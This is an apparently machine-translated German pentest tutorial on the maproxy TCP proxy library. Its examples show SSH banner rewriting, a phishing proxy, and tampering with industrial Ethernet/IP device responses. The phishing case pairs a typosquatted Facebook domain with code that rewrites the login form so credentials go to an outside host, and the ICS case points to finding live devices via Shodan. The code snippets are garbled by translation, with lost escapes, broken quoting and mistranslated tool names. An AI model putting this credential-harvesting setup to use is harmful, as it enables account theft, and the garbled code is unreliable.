Verarbeiten Sie Netzwerkdaten im Handumdrehen

Die Übersetzung des Artikels wurde am Vorabend des Kursbeginns erstellt „Pentest. Penetrationstest-Praxis“.

Verarbeiten Sie Netzwerkdaten im Handumdrehen

Abstrakt

Eine Vielzahl von Arten von Sicherheitsbewertungen, die von regelmäßigen Penetrationstests und Red-Team-Operationen bis hin zum Hacken von IoT/ICS-Geräten und SCADA reichen, beinhalten die Arbeit mit binären Netzwerkprotokollen, d. h. im Wesentlichen das Abfangen und Ändern von Netzwerkdaten zwischen dem Client und dem Ziel. Das Aufspüren des Netzwerkverkehrs ist keine schwierige Aufgabe, da wir über Tools wie Wireshark, Tcpdump oder Scapy verfügen. Änderungen scheinen jedoch eine arbeitsintensivere Aufgabe zu sein, da wir eine Art Schnittstelle benötigen, um die Netzwerkdaten zu lesen, zu filtern und zu ändern es im laufenden Betrieb und sendet es nahezu in Echtzeit an den Zielhost zurück. Darüber hinaus wäre es ideal, wenn ein solches Tool automatisch mit mehreren parallelen Verbindungen arbeiten und mithilfe von Skripten anpassbar wäre.

Eines Tages entdeckte ich ein Tool namens maproxy, die Dokumentation hat mir das schnell klar gemacht maproxy - Nur was ich brauche. Dies ist ein ziemlich einfacher, vielseitiger und leicht konfigurierbarer TCP-Proxy. Ich habe dieses Tool bei mehreren ziemlich komplexen Anwendungen getestet, darunter ICS-Geräten (die viele Pakete erzeugen), um zu sehen, ob es viele parallele Verbindungen bewältigen kann, und das Tool hat eine gute Leistung erbracht.

In diesem Artikel erfahren Sie, wie Sie Netzwerkdaten im Handumdrehen verarbeiten maproxy.

Beschreibung

Werkzeug maproxy basiert auf Tornado, einem beliebten und ausgereiften asynchronen Netzwerk-Framework in Python.

Im Allgemeinen kann es in mehreren Modi betrieben werden:

  • TCP:TCP – unverschlüsselte TCP-Verbindungen;
  • TCP:SSL и SSL:TCP – mit Einwegverschlüsselung;
  • SSL:SSL – Zwei-Wege-Verschlüsselung.

Es kommt als Bibliothek. Für einen schnellen Einstieg können Sie Beispieldateien verwenden, die das Wesentliche widerspiegeln Bibliotheksfunktionen:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Fall 1 – einfacher bidirektionaler Proxy

Basierend auf tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Standardmäßig ProxyServer() benötigt zwei Argumente – den Verbindungsstandort und den Zielport. server.listen() benötigt ein Argument – ​​den Port zum Abhören der eingehenden Verbindung.

Ausführen des Skripts:

# python tcp2tcp.py

Um den Test durchzuführen, stellen wir über unser Proxy-Skript eine Verbindung zu einem lokalen SSH-Server her, der mithört 2222/tcp Port und stellt eine Verbindung zu einem Standardport her 22/tcp SSH-Server:

Verarbeiten Sie Netzwerkdaten im Handumdrehen

Das Willkommensbanner informiert Sie darüber, dass unser Beispielskript den Netzwerkverkehr erfolgreich weitergeleitet hat.

Fall 2 – Datenänderung

Ein weiteres Demo-Skript logging_proxy.py Ideal für die Interaktion mit Netzwerkdaten. Die Kommentare in der Datei beschreiben die Klassenmethoden, die Sie ändern können, um Ihr Ziel zu erreichen:

Verarbeiten Sie Netzwerkdaten im Handumdrehen

Das Interessanteste ist hier:

  • on_c2p_done_read – um Daten auf dem Weg vom Client zum Server abzufangen;
  • on_p2s_done_read - umgedreht.

Versuchen wir, das SSH-Banner zu ändern, das der Server an den Client zurückgibt:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Führen Sie das Skript aus:

Verarbeiten Sie Netzwerkdaten im Handumdrehen

Wie Sie sehen, wurde der Client in die Irre geführt, weil der SSH-Servername für ihn in geändert wurde «DumnySSH».

Verarbeiten Sie Netzwerkdaten im Handumdrehen

Fall 3 – einfache Phishing-Webseite

Es gibt unzählige Möglichkeiten, dieses Tool zu verwenden. Konzentrieren wir uns dieses Mal auf etwas Praktischeres von der Seite des Red Team-Betriebs. Lassen Sie uns die Zielseite nachahmen m.facebook.com und eine benutzerdefinierte Domäne mit einem absichtlichen Tippfehler verwenden, zum Beispiel: m.facebok.com. Nehmen wir zu Demonstrationszwecken einfach an, dass die Domain bei uns registriert ist.

Wir werden eine unverschlüsselte Netzwerkverbindung mit dem Proxy unseres Opfers und einem SSL-Stream zum Facebook-Server herstellen (31.13.81.36). Damit dieses Beispiel funktioniert, müssen wir den HTTP-Host-Header ersetzen und den richtigen Hostnamen einfügen. Außerdem deaktivieren wir die Antwortkomprimierung, damit wir problemlos auf den Inhalt zugreifen können. Letztendlich werden wir das HTML-Formular ersetzen, sodass die Anmeldeinformationen an uns und nicht an die Server von Facebook gesendet werden:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/de/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Zusammengefasst:

Verarbeiten Sie Netzwerkdaten im Handumdrehen

Wie Sie sehen, ist es uns gelungen, die ursprüngliche Website erfolgreich zu ersetzen.

Fall 4 – Portierung von Ethernet/IP

Ich beschäftige mich schon seit geraumer Zeit mit industriellen Geräten und Software (ICS/SCADA), wie zum Beispiel programmierbaren Steuerungen (SPS), I/O-Modulen, Antrieben, Relais, Kontaktplanprogrammierungsumgebungen und vielem mehr. Dieser Koffer ist für diejenigen, die industrielle Dinge mögen. Um solche Lösungen zu hacken, muss aktiv mit Netzwerkprotokollen gespielt werden. Im folgenden Beispiel möchte ich zeigen, wie Sie den ICS/SCADA-Netzwerkverkehr ändern können.

Dazu benötigen Sie Folgendes:

  • Netzwerk-Sniffer, zum Beispiel Wireshark;
  • Ethernet/IP oder einfach nur ein SIP-Gerät, Sie können es über den Shodan-Dienst finden;
  • Unser Drehbuch basiert auf maproxy.

Schauen wir uns zunächst an, wie eine typische Identifizierungsantwort von CIP (Common Industrial Protocol) aussieht:

Verarbeiten Sie Netzwerkdaten im Handumdrehen

Die Geräteidentifizierung erfolgt mithilfe des Ethernet/IP-Protokolls, einer erweiterten Version des industriellen Ethernet-Protokolls, das Steuerungsprotokolle wie CIP umschließt. Wir werden den hervorgehobenen ID-Namen ändern, der im Screenshot sichtbar ist „NI-IndComm für Ethernet“ mit unserem Proxy-Skript. Wir könnten das Skript wiederverwenden logging_proxy.py und ändern Sie auf ähnliche Weise die Klassenmethode on_p2s_done_read, weil wir möchten, dass auf dem Client ein anderer Identitätsname sichtbar ist.

Code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Im Wesentlichen haben wir zweimal nach der Geräteidentifikation gefragt, die zweite Antwort war die ursprüngliche und die erste wurde spontan geändert.

Und das Letzte

Meiner Meinung nach maproxy Ein praktisches und einfaches Tool, das ebenfalls in Python geschrieben ist, sodass ich glaube, dass auch Sie von der Verwendung profitieren können. Natürlich gibt es komplexere Tools zur Verarbeitung und Änderung von Netzwerkdaten, aber diese erfordern auch mehr Aufmerksamkeit und werden meist für einen bestimmten Anwendungsfall erstellt, z.B. Muräne, Modlishka oder evilginx für Fälle ähnlich dem dritten, oder Sofa für den letzten Fall. So oder so, mit der Hilfe maproxy Sie können Ihre Ideen zum Abfangen von Netzwerkdaten schnell umsetzen, da die Beispielskripte sehr anschaulich sind.

Testen von Authentifizierungsmechanismen in Windows AD

Source: habr.com

Kommentar hinzufügen